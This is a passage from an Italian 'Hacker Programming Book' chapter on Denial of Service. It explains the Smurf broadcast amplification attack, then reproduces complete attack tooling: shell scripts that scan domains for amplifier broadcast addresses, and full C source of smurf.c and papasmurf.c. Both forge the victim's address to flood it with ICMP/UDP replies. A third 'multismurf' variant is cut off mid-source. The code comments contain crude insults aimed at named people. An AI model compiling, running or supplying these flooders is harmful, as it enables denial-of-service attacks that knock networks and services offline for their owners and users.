Una delle metodologie legate all’attività hacker di fatto è legata a quelle chiamate con il
termine di DOS ovvero Denial of Service.
Lo scopo di questi tipi di attacchi è quello di consumare le risorse dei sistemi remoti in modo
tale che questi smettano di funzionare o comunque degradino le loro prestazioni.
Lo scopo di questa tecnica ?
Chiaramente quella legata al fatto in se stesso finalizzato soltanto al fatto di soddisfare quella
parte dell’animale uomo che procura piacere nell’istante in cui si danneggia il prossimo.
Un altro scopo un po’ più elevato come finalità è quello di riuscire a bloccare le trasmissioni di
un determinato host al fine di cercare di sostituirsi a questo in un sistema di hosts considerati
come trusted.
Una domanda che verrà spontanea è quella legata al fatto di non riuscire a comprendere
come un sistema di un hacker, con una linea magari a 28 KB, possa di fatto riuscire a fare
esaurire le risorse, ad esempio quelle di banda, di un qualche server che è connesso a
internet tramite linee come ad esempio le T1.
Nel capitolo legato alla descrizione dei protocolli avevamo parlato di un tipo di indirizzo
particolare e precisamente quello relativo al broadcasting.
Un server che riceve un pacchetto legato al protocollo ICMP di PING (ICMP servizio ECHO
REQUEST) indirizzato ad un indirizzo di broadcast invia a sua volta lo stesso a tutti gli host a
lui connessi per cui chiaramente il traffico generato viene amplificato a tal punto che un
sistema con un modem come quello appena detto a 28 K potrebbe al limite costringere un
sistema a occupare 2/3 di una linea T1.
Pur essendo uno degli attacchi più recenti i sistemisti esperti hanno subito imparato a
proteggersi inserendo all’interno dei routers speciali filtri atti a non permettere il passaggio di
certi tipi di pacchetti.
In ogni caso esistono certi siti che pubblicano gli scan fatti specificando gli IP soggetti agli
attacchi SMURF e il numero di sistemi a cui questi cercano di inoltrare i pacchetti quando
ricevono i fatidici pacchetti di PING.
Dal punto di vista del sistemista dobbiamo dire che il tracing di questo genere di attacco è
abbastanza complesso.
Volendolo schematizzare graficamente lo potremmo rappresentare nel seguente modo :

A   =   Host Attaccante
V   =   Host Vittima
S   =   Sottorete contenente 100 Host
B   =   Indirizzo di broadcast della sottorete S

V(A) -----ECHO REQUEST------> B           A Spedisce un pacchetto ICMP "ECHO REQUEST"
                                          Spoofato con l'indirizzo di V all'indirizzo
                                          di broadcast della sottorete.




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

       ----------------------->          Tutti i 100 host della sottorete rispondono
       -----100 Pacchetti----->          con un pacchetto ICMP "ECHO REPLY" a V
S      ---------ICMP----------> V        credendo che sia lui ad aver spedito il
       ------ECHO REPLY------->          pacchetto precedente.
       ----------------------->

La ricerca degli IP con possibilità di broadcast che replichino con più di 30 sistemi può
essere eseguita con il seguente programmino di shell per Unix.


--- bips.sh ---

#!/bin/bash
# find broadcast ip's that reply with 30+ dupes.

# i decided to make this script into two sections. when running this make
# sure both parts are in the same directory.

if [ $# != 1 ]; then
echo "$0 <domain - ie: college.edu>"
else
host -l $1 | grep 'has address' | cut -d' ' -f4 > $1.ips
cat $1.ips | cut -d'.' -f1-3 | sort |\
awk '{ print echo ""$1".255" }' > $1.tmp
cat $1.tmp | uniq | awk '{ print "./chekdup.sh "$1"" }' > $1.ping
rm -f $1.ips $1.tmp
chmod 700 $1.ping
./$1.ping
rm $1.ping
fi


Il seguente sorgente invece controlla se su un determinati IP è possibile inviare messaggi di
broadcast che generino in certo numero di messaggi ICMP di replica.

--- chekdup.sh ---

#!/bin/bash
# this checks possible broadcast ip's for a given amount of icmp echo
# replies.

ping -c 2 $1 > $1.out
if
cat $1.out | grep dupl > /dev/null
then
export DUPES="`cat $1.out | grep dupl | cut -d'+' -f2 | cut -d' ' -f1`"
else
export DUPES=1
fi
if [ $DUPES -gt 30 ]; then
echo "$1 had $DUPES dupes" >> bips.results
rm -f $1.out
else
rm -f $1.out
fi


Il sorgente in Linguaggio C relativo a questo tipo di exploits è quello che segue.
Il programma è per ambiente Unix.

---- smurf.c ----

/*
 *   $Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $
 *
 *   spoofs icmp packets from a host to various broadcast addresses resulting in
 *   multiple replies to that host from a single packet.
 *
 *   orginial linux code by tfreak, most props to him, all I did was port it to
 *   operating systems with a less perverse networking system, such as FreeBSD,
 *   and many others. -Griffin
 *




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

 * mad head to: nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea
 * pig, MissSatan for swallowing, napster for pimping my sister, the guy that
 * invented vaseline, fyber for trying, knowy, old school #havok, kain cos he
 * rox my sox, zuez, toxik, robocod, and everyone else that i might have
 * missed (you know who you are).
 *
 * hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy thing
 * he is (he's -almost- as stubborn as me, still i managed to pick up half
 * the cheque).
 *
 * and a special hi to Todd, face it dude, you're fucking awesome.
 *
 * mad anal to: #madcrew/#conflict for not cashing in their cluepons, EFnet
 * IRCOps because they plain suck, Rolex for being a twit, everyone that
 * trades warez, Caren for being a lesbian hoe, AcidKill for being her
 * partner, #cha0s, sedriss for having an ego in inverse proportion to his
 * penis and anyone that can't pee standing up -- you don't know what your
 * missing out on.
 *
 * and anyone thats ripped my code (diff smurf.c axcast.c is rather
 * interesting).
 *
 * and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill Robbins
 * for trying to steal my girlfriend. Not only did you show me no respect
 * but you're a manipulating prick who tried to take away the most important
 * thing in the world to me with no guilt whatsoever, and for that I wish you
 * nothing but pain. Die.
 *
 * disclaimer: I cannot and will not be held responsible nor legally bound for
 * the malicious activities of individuals who come into possession of this
 * program and I refuse to provide help or support of any kind and do NOT
 * condone use of this program to deny service to anyone or any machine. This
 * is for educational use only. Please Don't abuse this.
 *
 * Well, i really, really, hate this code, but yet here I am creating another
 * disgusting version of it. Odd, indeed. So why did I write it? Well, I,
 * like most programmers don't like seeing bugs in their code. I saw a few
 * things that should have been done better or needed fixing so I fixed them.
 * -shrug-, programming for me as always seemed to take the pain away ...
 *
 *
 */

#include   <signal.h>
#include   <stdio.h>
#include   <stdlib.h>
#include   <netdb.h>
#include   <sys/socket.h>
#include   <sys/types.h>
#include   <netinet/in.h>
#include   <netinet/in_systm.h>
#include   <netinet/ip.h>
#include   <netinet/ip_icmp.h>
#include   <ctype.h>
#include   <arpa/inet.h>
#include   <unistd.h>
#include   <string.h>

void              banner(void);
void              usage(char *);
void              smurf(int, struct sockaddr_in, u_long, int);
void              ctrlc(int);
unsigned int      host2ip(char *hostname);
unsigned short    in_chksum(u_short *, int);

unsigned int
host2ip(char *hostname)
{
        static struct in_addr i;
        struct hostent *h;
        i.s_addr = inet_addr(hostname);
        if (i.s_addr == -1) {
                h = gethostbyname(hostname);
                if (h == NULL) {
                        fprintf(stderr, "can't find %s\n.", hostname);
                        exit(0);
                }



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

               bcopy(h->h_addr, (char *) &i.s_addr, h->h_length);
       }
       return i.s_addr;
}

/* stamp */
char           id[] = "$Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $";

int
main(int argc, char *argv[])
{
        struct sockaddr_in sin;
        FILE           *bcastfile;
        int             i, sock, bcast, delay, num, pktsize, cycle = 0,
                        x;
        char            buf[32], **bcastaddr = malloc(8192);

       banner();
       signal(SIGINT, ctrlc);

       if (argc < 6)
               usage(argv[0]);

       sin.sin_addr.s_addr = host2ip(argv[1]);
       sin.sin_family = AF_INET;

       num = atoi(argv[3]);
       delay = atoi(argv[4]);
       pktsize = atoi(argv[5]);

       if ((bcastfile = fopen(argv[2], "r")) == NULL) {
               perror("opening bcast file");
               exit(-1);
       }
       x = 0;
       while (!feof(bcastfile)) {
               fgets(buf, 32, bcastfile);
               if (buf[0] == '#' || buf[0] == '\n' || !isdigit(buf[0]))
                       continue;
               for (i = 0; i < strlen(buf); i++)
                       if (buf[i] == '\n')
                               buf[i] = '\0';
               bcastaddr[x] = malloc(32);
               strcpy(bcastaddr[x], buf);
               x++;
       }
       bcastaddr[x] = 0x0;
       fclose(bcastfile);

       if (x == 0) {
               fprintf(stderr, "ERROR: no broadcasts found   in file %s\n\n", argv[2]);
               exit(-1);
       }
       if (pktsize > 1024) {
               fprintf(stderr, "ERROR: packet size must be   < 1024\n\n");
               exit(-1);
       }
       if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))   < 0) {
               perror("getting socket");
               exit(-1);
       }
       setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)   &bcast, sizeof(bcast));

       printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

       for (i = 0; i < num || !num; i++) {
               if (!(i % 25)) {
                        printf(".");
                        fflush(stdout);
               }
               smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
               cycle++;
               if (bcastaddr[cycle] == 0x0)
                        cycle = 0;
               usleep(delay);
       }
       puts("\n\n");



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

       return 0;
}

void
banner(void)
{
        puts("\nsmurf.c v5.0 by TFreak, ported by Griffin\n");
}

void
usage(char *prog)
{
        fprintf(stderr, "usage: %s <target> <bcast file> "
                "<num packets> <packet delay> <packet size>\n\n"
                "target        = address to hit\n"
                "bcast file    = file to read broadcast addresses from\n"
                "num packets   = number of packets to send (0 = flood)\n"
                "packet delay = wait between each packet (in ms)\n"
                "packet size   = size of packet (< 1024)\n\n", prog);
        exit(-1);
}

void
smurf(int sock, struct   sockaddr_in sin, u_long dest, int psize)
{
        struct ip        *ip;
        struct icmp      *icmp;
        char             *packet;
        int               hincl = 1;

       packet = malloc(sizeof(struct ip) + sizeof(struct icmp) + psize);
       ip = (struct ip *) packet;
       icmp = (struct icmp *) (packet + sizeof(struct ip));

       memset(packet, 0, sizeof(struct ip) + sizeof(struct icmp) + psize);
       setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl));
       ip->ip_len = sizeof(struct ip) + sizeof(struct icmp) + psize;
       ip->ip_hl = sizeof *ip >> 2;
       ip->ip_v = 4;
       ip->ip_ttl = 255;
       ip->ip_tos = 0;
       ip->ip_off = 0;
       ip->ip_id = htons(getpid());
       ip->ip_p = 1;
       ip->ip_src.s_addr = sin.sin_addr.s_addr;
       ip->ip_dst.s_addr = dest;
       ip->ip_sum = 0;
       icmp->icmp_type = 8;
       icmp->icmp_code = 0;
       icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

       sendto(sock, packet, sizeof(struct ip) + sizeof(struct icmp) + psize,
              0, (struct sockaddr *) & sin, sizeof(struct sockaddr));

       free(packet);              /* free willy! */
}

void
ctrlc(int ignored)
{
        puts("\nDone!\n");
        exit(1);
}

unsigned short
in_chksum(u_short * addr, int len)
{
        register int    nleft = len;
        register int    sum = 0;
        u_short         answer = 0;

       while (nleft > 1) {
               sum += *addr++;
               nleft -= 2;
       }

       if (nleft == 1) {



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

                  *(u_char *) (&answer) = *(u_char *) addr;
                  sum += answer;
          }
          sum = (sum >> 16) + (sum + 0xffff);
          sum += (sum >> 16);
          answer = ~sum;
          return (answer);
}


Il programma per eccellenza legato a questo tipo d’attacco è quello definito con il
termine di PAPASMURF.C


/*
 *   (papa)smurf.c v5.0 by TFreak - http://www.rootshell.com
 *
 *   A year ago today I made what remains the questionable decision of
 *   releasing my program 'smurf', a program which uses broadcast "amplifiers"
 *   to turn an icmp flood into an icmp holocaust, into the hands of packet
 *   monkeys, script kiddies and all round clueless idiots alike. Nine months
 *   following, a second program 'fraggle', smurfs udp cousin, was introducted
 *   into their Denial of Service orgy. This brings us to today, July 28,
 *   1998, one year after my first "mistake". The result, proof that history
 *   does repeat itself and a hybrid of the original programs.
 *
 *   First may I say that I in no way take credit for "discovering" this.
 *   There is no doubt in my mind that this idea was invisioned long before
 *   I was even sperm -- I merely decided to do something about it. Secondly,
 *   if you want to hold me personally responsible for turning the internet
 *   into a larger sesspool of crap than it already is, then may I take this
 *   opportunity to deliver to you a message of the utmost importance -- "Fuck
 *   you". If I didn't write it, someone else would have.
 *
 *   I must admit that there really is no security value for me releasing this
 *   new version. In fact, my goals for the version are quite silly. First,
 *   I didn't like the way my old code looked, it was ugly to look at and it
 *   did some stupid unoptimized things. Second, it's smurfs one year
 *   birthday -- Since I highly doubt anyone would have bought it a cake, I
 *   thought I would do something "special" to commemorate the day.
 *
 *   Hmm, I am starting to see why I am known for my headers (wage eats
 *   playdough!).
 *
 *   Well, I guess this wouldn't be the same if I did not include some sort
 *   of shoutouts, so here goes...
 *
 *   A hearty handshake to...
 *
 *    o    MSofty, pbug, Kain -- No matter which path each of you decides to
 *         take in the future, I will always look back upon these days as one
 *         of the most enjoyable, memorable and thought-provoking experiences
 *         of my life. I have nothing but the highest degree of respect for
 *         each of you, and I value your friendship immensely. Here's to
 *         living, learning and laughing -- Cheers gentlemen. --Dan
 *    o    Hi JoJo!
 *    o    morbid and his grandam barbiegirl gino styles, yo.
 *    o    The old #havok crew.
 *    o    Pharos,silph,chris@unix.org,Viola,Vonne,Dianora,fyber,silitek,
 *         brightmn,Craig Huegen,Dakal,Col_Rebel,Rick the Temp,jenni`,Paige,
 *         RedFemme,nici,everlast,and everyone else I know and love.
 *
 *   A hearty enema using 15.0mol/L HCl to...
 *
 *    o    #Conflict. Perhaps you are just my scapegoat of agression, but you
 *         all really need to stop flooding efnet servers/taking over irc
 *         channels/mass owning networks running old qpoppers and get a
 *         fucking life.
 *    o    BR. It wouldn't be the same without you in here, but to be honest
 *         you really aren't worth the space in the already way-to-bloated
 *         header, nor the creative energy of me coming up with an intricate
 *         bash that you will never understand anyway. Shrug, hatred disguises
 *         itself as apathy with time.
 *
 *   I feel like I'm writing a fucking essay here...
 *




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

*    To compile: "gcc -DLINUX -o smurf5 papasmurf.c" if your LINUXish.
*                                   or just
*                "gcc -o smurf5 papasmurf.c" if your BSDish.
*
*    Old linux kernels won't have BSD header support, so this may not compile.
*    If you wish a linux-only version, do it yourself, or mail
*    tfreak@jaded.net, and I might lend you mine.
*
*    And most importantly, please don't abuse this.   If you are going to do
*    anything with this code, learn from it.
*
*    I remain,
*
*    TFreak.
*
*/

/* End of Hideously Long Header */

#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <time.h>
#ifdef LINUX
#define __FAVOR_BSD                              /* should be __FAVOUR_BSD ;) */
#ifndef _USE_BSD
#define _USE_BSD
#endif
#endif
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>

#ifdef LINUX
#define FIX(n)      htons(n)
#else
#define FIX(n)      (n)
#endif

struct smurf_t
{
    struct sockaddr_in sin;                      /* socket prot structure */
    int s;                                                 /* socket */
    int udp, icmp;                               /* icmp, udp booleans */
    int rnd;                                               /* Random dst port boolean */
    int psize;                                             /* packet size */
    int num;                                               /* number of packets to send
*/
    int delay;                                             /*   delay between (in ms) */
    u_short dstport[25+1];                       /* dest port   array (udp) */
    u_short srcport;                                       /*   source port (udp) */
    char *padding;                               /* junk data   */
};

/* function prototypes */
void usage (char *);
u_long resolve (char *);
void getports (struct smurf_t *, char *);
void smurficmp (struct smurf_t *, u_long);
void smurfudp (struct smurf_t *, u_long, int);
u_short in_chksum (u_short *, int);


int
main (int argc, char *argv[])
{
    struct smurf_t sm;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

   struct stat st;
   u_long bcast[1024];
   char buf[32];
   int c, fd, n, cycle, num = 0, on = 1;
   FILE *bcastfile;

   /* shameless self promotion banner */
   fprintf(stderr, "\n(papa)smurf.c v5.0 by TFreak\n\n");

   if (argc < 3)
       usage(argv[0]);

   /* set defaults */
   memset((struct smurf_t *) &sm, 0, sizeof(sm));
   sm.icmp = 1;
   sm.psize = 64;
   sm.num = 0;
   sm.delay = 10000;
   sm.sin.sin_port = htons(0);
   sm.sin.sin_family = AF_INET;
   sm.srcport = 0;
   sm.dstport[0] = 7;

   /* resolve 'source' host, quit on error */
   sm.sin.sin_addr.s_addr = resolve(argv[1]);

   /* open the broadcast file */
   if ((bcastfile = fopen(argv[2], "r")) == NULL)
   {
       perror("Opening broadcast file");
       exit(-1);
   }

   /* parse out options */
   optind = 3;
   while ((c = getopt(argc, argv, "rRn:d:p:P:s:S:f:")) != -1)
   {
         switch (c)
         {
             /* random dest ports */
             case 'r':
                   sm.rnd = 1;
                   break;

            /* random src/dest ports */
            case 'R':
                  sm.rnd = 1;
              sm.srcport = 0;
                  break;

            /* number of packets to send */
            case 'n':
                  sm.num = atoi(optarg);
                  break;

            /* usleep between packets (in ms) */
            case 'd':
                  sm.delay = atoi(optarg);
                  break;

            /* multiple ports */
            case 'p':
                  if (strchr(optarg, ','))
                       getports(&sm, optarg);
                  else
                       sm.dstport[0] = (u_short) atoi(optarg);
                  break;

            /* specify protocol */
            case 'P':
                  if (strcmp(optarg, "icmp") == 0)
                  {
                      /* this is redundant */
                      sm.icmp = 1;
                      break;
                  }
                  if (strcmp(optarg, "udp") == 0)



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

                  {
                      sm.icmp = 0;
                      sm.udp = 1;
                      break;
                  }
                  if (strcmp(optarg, "both") == 0)
                  {
                      sm.icmp = 1;
                      sm.udp = 1;
                      break;
                  }

                  puts("Error: Protocol must be icmp, udp or both");
                  exit(-1);

            /* source port */
            case 's':
                  sm.srcport = (u_short) atoi(optarg);
                  break;

            /* specify packet size */
            case 'S':
                  sm.psize = atoi(optarg);
                  break;

            /* filename to read padding in from */
            case 'f':
                  /* open and stat */
                  if ((fd = open(optarg, O_RDONLY)) == -1)
                  {
                      perror("Opening packet data file");
                      exit(-1);
                  }
                  if (fstat(fd, &st) == -1)
                  {
                      perror("fstat()");
                      exit(-1);
                  }

                  /* malloc and read */
                  sm.padding = (char *) malloc(st.st_size);
                  if (read(fd, sm.padding, st.st_size) < st.st_size)
                  {
                      perror("read()");
                      exit(-1);
                  }

                  sm.psize = st.st_size;
                  close(fd);
                  break;

           default:
               usage(argv[0]);
       }
   } /* end getopt() loop */

   /* create packet padding if neccessary */
   if (!sm.padding)
   {
         sm.padding = (char *) malloc(sm.psize);
         memset(sm.padding, 0, sm.psize);
   }

   /* create the raw socket */
   if ((sm.s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
   {
         perror("Creating raw socket (are you root?)");
         exit(-1);
   }

   /* Include IP headers ourself (thanks anyway though) */
   if (setsockopt(sm.s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
   {
         perror("setsockopt()");
         exit(-1);
   }




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

    /* read in our broadcasts and store them in our array */
    while (fgets(buf, sizeof buf, bcastfile) != NULL)
    {
          char *p;
          int valid;

        /* skip over comments/blank lines */
        if (buf[0] == '#' || buf[0] == '\n') continue;

        /* get rid of newline */
        buf[strlen(buf) - 1] = '\0';

        /* check for valid address */
        for (p = buf, valid = 1; *p != '\0'; p++)
        {
            if ( ! isdigit(*p) && *p != '.' )
            {
                fprintf(stderr, "Skipping invalid ip %s\n", buf);
                valid = 0;
                break;
            }
        }

        /* if valid address, copy to our array */
        if (valid)
        {
              bcast[num] = inet_addr(buf);
            num++;
              if (num == 1024)
                    break;
        }
    } /* end bcast while loop */

    /* seed our random function */
    srand(time(NULL) * getpid());

    /* wee.. */
    for (n = 0, cycle = 0; n < sm.num || !sm.num; n++)
    {
          if (sm.icmp)
              smurficmp(&sm, bcast[cycle]);

         if (sm.udp)
         {
             int x;
             for (x = 0; sm.dstport[x] != 0; x++)
                 smurfudp(&sm, bcast[cycle], x);
         }

         /* quick nap */
         usleep(sm.delay);

         /* cosmetic psychadelic dots */
         if (n % 50 == 0)
         {
             printf(".");
             fflush(stdout);
         }

         cycle = (cycle + 1) % num;
    }

    exit(0);
}


void
usage (char *s)
{
     fprintf(stderr,
             "usage: %s <source host> <broadcast file> [options]\n"
               "\n"
               "Options\n"
               "-p: Comma separated list of dest ports (default 7)\n"
               "-r: Use random dest ports\n"
               "-R: Use random src/dest ports\n"
               "-s: Source port (0 for random (default))\n"



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

                "-P:    Protocols to use. Either icmp, udp or both\n"
                "-S:    Packet size in bytes (default 64)\n"
                "-f:    Filename containg packet data (not needed)\n"
                "-n:    Num of packets to send (0 is continuous (default))\n"
                "-d:    Delay inbetween packets (in ms) (default 10000)\n"
                "\n",   s);
    exit(-1);
}


u_long
resolve (char *host)
{
    struct in_addr in;
    struct hostent *he;

    /* try ip first */
    if ((in.s_addr = inet_addr(host)) == -1)
    {
          /* nope, try it as a fqdn */
          if ((he = gethostbyname(host)) == NULL)
          {
              /* can't resolve, bye. */
            herror("Resolving victim host");
              exit(-1);
          }

         memcpy( (caddr_t) &in, he->h_addr, he->h_length);
    }

    return(in.s_addr);
}


void
getports (struct smurf_t *sm, char *p)
{
     char tmpbuf[16];
     int n, i;

    for (n = 0, i = 0; (n < 25) && (*p != '\0'); p++, i++)
    {
          if (*p == ',')
          {
            tmpbuf[i] = '\0';
              sm->dstport[n] = (u_short) atoi(tmpbuf);
              n++; i = -1;
              continue;
          }

          tmpbuf[i] = *p;
    }
    tmpbuf[i] = '\0';
    sm->dstport[n] = (u_short) atoi(tmpbuf);
    sm->dstport[n + 1] = 0;
}


void
smurficmp (struct smurf_t *sm, u_long dst)
{
     struct ip *ip;
     struct icmp *icmp;
     char *packet;

    int pktsize = sizeof(struct ip) + sizeof(struct icmp) + sm->psize;

    packet = malloc(pktsize);
    ip = (struct ip *) packet;
    icmp = (struct icmp *) (packet + sizeof(struct ip));

    memset(packet, 0, pktsize);

    /* fill in IP header */
    ip->ip_v = 4;
    ip->ip_hl = 5;
    ip->ip_tos = 0;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

     ip->ip_len = FIX(pktsize);
     ip->ip_ttl = 255;
     ip->ip_off = 0;
     ip->ip_id = FIX( getpid() );
     ip->ip_p = IPPROTO_ICMP;
     ip->ip_sum = 0;
     ip->ip_src.s_addr = sm->sin.sin_addr.s_addr;
     ip->ip_dst.s_addr = dst;

     /* fill in ICMP header */
     icmp->icmp_type = ICMP_ECHO;
     icmp->icmp_code = 0;
     icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));         /* thx griffin */

     /* send it on its way */
     if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
         sizeof(struct sockaddr)) == -1)
     {
           perror("sendto()");
           exit(-1);
     }

     free(packet);                                        /* free willy! */
}


void
smurfudp (struct smurf_t *sm, u_long dst, int n)
{
     struct ip *ip;
     struct udphdr *udp;
     char *packet, *data;

     int pktsize = sizeof(struct ip) + sizeof(struct udphdr) + sm->psize;

     packet = (char *) malloc(pktsize);
     ip = (struct ip *) packet;
     udp = (struct udphdr *) (packet + sizeof(struct ip));
     data = (char *) (packet + sizeof(struct ip) + sizeof(struct udphdr));

     memset(packet, 0, pktsize);
     if (*sm->padding)
         memcpy((char *)data, sm->padding, sm->psize);

     /* fill in IP header */
     ip->ip_v = 4;
     ip->ip_hl = 5;
     ip->ip_tos = 0;
     ip->ip_len = FIX(pktsize);
     ip->ip_ttl = 255;
     ip->ip_off = 0;
     ip->ip_id = FIX( getpid() );
     ip->ip_p = IPPROTO_UDP;
     ip->ip_sum = 0;
     ip->ip_src.s_addr = sm->sin.sin_addr.s_addr;
     ip->ip_dst.s_addr = dst;

     /* fill in UDP header */
     if (sm->srcport) udp->uh_sport = htons(sm->srcport);
     else udp->uh_sport = htons(rand());
     if (sm->rnd) udp->uh_dport = htons(rand());
     else udp->uh_dport = htons(sm->dstport[n]);
     udp->uh_ulen = htons(sizeof(struct udphdr) + sm->psize);
//     udp->uh_sum = in_chksum((u_short *)udp, sizeof(udp));

     /* send it on its way */
     if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
         sizeof(struct sockaddr)) == -1)
     {
           perror("sendto()");
           exit(-1);
     }

     free(packet);                              /* free willy! */
}




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

u_short
in_chksum (u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

     while (nleft > 1)
     {
         sum += *w++;
         nleft -= 2;
     }

     if (nleft == 1)
     {
         *(u_char *)(&answer) = *(u_char *)w;
         sum += answer;
     }

     sum = (sum >> 16) + (sum + 0xffff);
     sum += (sum >> 16);
     answer = ~sum;
     return(answer);
}

/* EOF */

Un altro programma legato allo smurf è quello che segue.

/* Multi Smurf by Sagatcool and Guilecool can let u packet many ips all
together
                      by ImperialS Crew 2001.
Don't do shits just test your machines !
*/
                  #include <stdio.h>
                  #include <netdb.h>
                  #include <sys/types.h>
                  #include <sys/socket.h>
                  #include <netinet/in.h>
                  #include <netinet/in_systm.h>
                  #include <arpa/inet.h>
                  #include <sys/stat.h>
                  #include <fcntl.h>
                  #include <unistd.h>
                  #include <stdlib.h>
                  #include <string.h>
                  #include <ctype.h>
                  #include <time.h>
                  #ifdef __USE_BSD
                  #undef __USE_BSD
                  #endif
                  #include <netinet/ip.h>
                  #include <netinet/ip_icmp.h>

                     #define MAX_IP 10

                     struct smurf_t
                     {
                         struct sockaddr_in sin;                  /* socket
prot structure */
                          int s;                                  /* socket
*/
                          int rnd;                                /* Random
dst port boolean */
                          int psize;                              /* packet
size */
                          int num;                                /* number
of packets to send */
                          int delay;                              /* delay
between (in ms) */



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

                        u_short dstport[25+1];                      /* dest
port array (udp) */
                        u_short srcport;                            /* source
port (udp) */
                        char *padding;                              /* junk
data */
                   };

                   typedef char string[15];

                   /* function prototypes */
                   void usage (char *);
                   u_long resolve (char *);
                   void getports (struct smurf_t *, char *);
                   void smurficmp (struct smurf_t *, u_long);
                   u_short in_chksum (u_short *, int);
                    int calcolamax(string *,int);


                   int
                   main (int argc, char *argv[])
                   {
                       struct smurf_t sm[MAX_IP];
                       string s[MAX_IP];
                       struct stat st;
                       u_long bcast[1024];
                       char buf[32];
                       int c, fd, n, cycle, num = 0, on = 1;
                       FILE *bcastfile;
                        int i,maxip,j,ang;


                      /* shameless self promotion banner */
                      fprintf(stderr, "\n multismurf.c v1.0b \033[1;36m by
sagatcool & Guilecool \033[0m(thanks to TFreak)\n\n");

                        if (argc < 3)
                            usage(argv[0]);

                        for(j=1;j<argc;j++)
                        {
                          for(i=0;i<=strlen(argv[j]);i++)
                          s[j-1][i]=argv[j][i];
                        }


                         maxip=calcolamax(s,argc);
                         printf("\t\t\t\033[5;1m %d FLOOD REQUEST SENT
\033[0m
",maxip);
                        for(i=0;i<maxip;i++)
                        {
                        /* set defaults */
                          memset((struct smurf_t *) &sm[i], 0,sizeof(sm[i]));
                        sm[i].psize = 64;
                        sm[i].num = 0;
                        sm[i].delay = 10000;
                        sm[i].sin.sin_port = htons(0);
                        sm[i].sin.sin_family = AF_INET;
                        sm[i].srcport = 0;
                        sm[i].dstport[0] = 7;

                        /* resolve 'source' host, quit on error */
                        sm[i].sin.sin_addr.s_addr = resolve(s[i]);
                        }
                        /* open the broadcast file */
                        if ((bcastfile = fopen(s[maxip], "r")) == NULL)
                        {



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

                           perror("Opening broadcast file");
                           exit(-1);
                       }

                       /* parse out options */
                       optind = 3;
                       while ((c = getopt(argc, argv, "rRn:d:p:P:s:S:f:")) !=
-1)
                       {
                           switch (c)
                           {
                               /* random dest ports */
                               case 'r':
                                   sm[0].rnd = 1;
                                   break;

                                /* random src/dest ports */
                                case 'R':
                                    sm[0].rnd = 1;
                                    sm[0].srcport = 0;
                                    break;

                                /* number of packets to send */
                                case 'n':
                                    sm[0].num = atoi(optarg);
                                    break;

                                /* usleep between packets (in ms) */
                                case 'd':
                                    sm[0].delay = atoi(optarg);
                                    break;

                                /* multiple ports */
                                case 'p':
                                    if (strchr(optarg, ','))
                                         getports(&sm[0], optarg);
                                    else
                                         sm[0].dstport[0] =
(u_short) atoi(optarg);
                                    break;

                                /* source port */
                                case 's':
                                    sm[0].srcport = (u_short) atoi(optarg);
                                    break;

                                /* specify packet size */
                                case 'S':
                                    sm[0].psize = atoi(optarg);
                                    break;

                                /* filename to read padding in from */
                                case 'f':
                                    /* open and stat */
                                    if ((fd = open(optarg, O_RDONLY)) == -1)
                                    {
                                        perror("Opening packet data file");
                                        exit(-1);
                                    }
                                    if (fstat(fd, &st) == -1)
                                    {
                                        perror("fstat()");
                                        exit(-1);
                                    }

                                    /* malloc and read */
                                    sm[0].padding = (char
*) malloc(st.st_size);



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

                                    if (read(fd, sm[0].padding,
st.st_size) < st.st_size)
                                    {
                                        perror("read()");
                                        exit(-1);
                                    }

                                    sm[0].psize = st.st_size;
                                    close(fd);
                                    break;

                                default:
                                    usage(argv[0]);
                           }
                       } /* end getopt() loop */

                       for(i=0;i<maxip;i++)
                       {
                       /* create packet padding if neccessary */
                       if (!sm[i].padding)
                       {
                           sm[i].padding = (char *) malloc(sm[i].psize);
                           memset(sm[i].padding, 0, sm[i].psize);
                       }

                       /* create the raw socket */
                       if ((sm[i].s = socket(AF_INET, SOCK_RAW,
IPPROTO_RAW)) == -1)
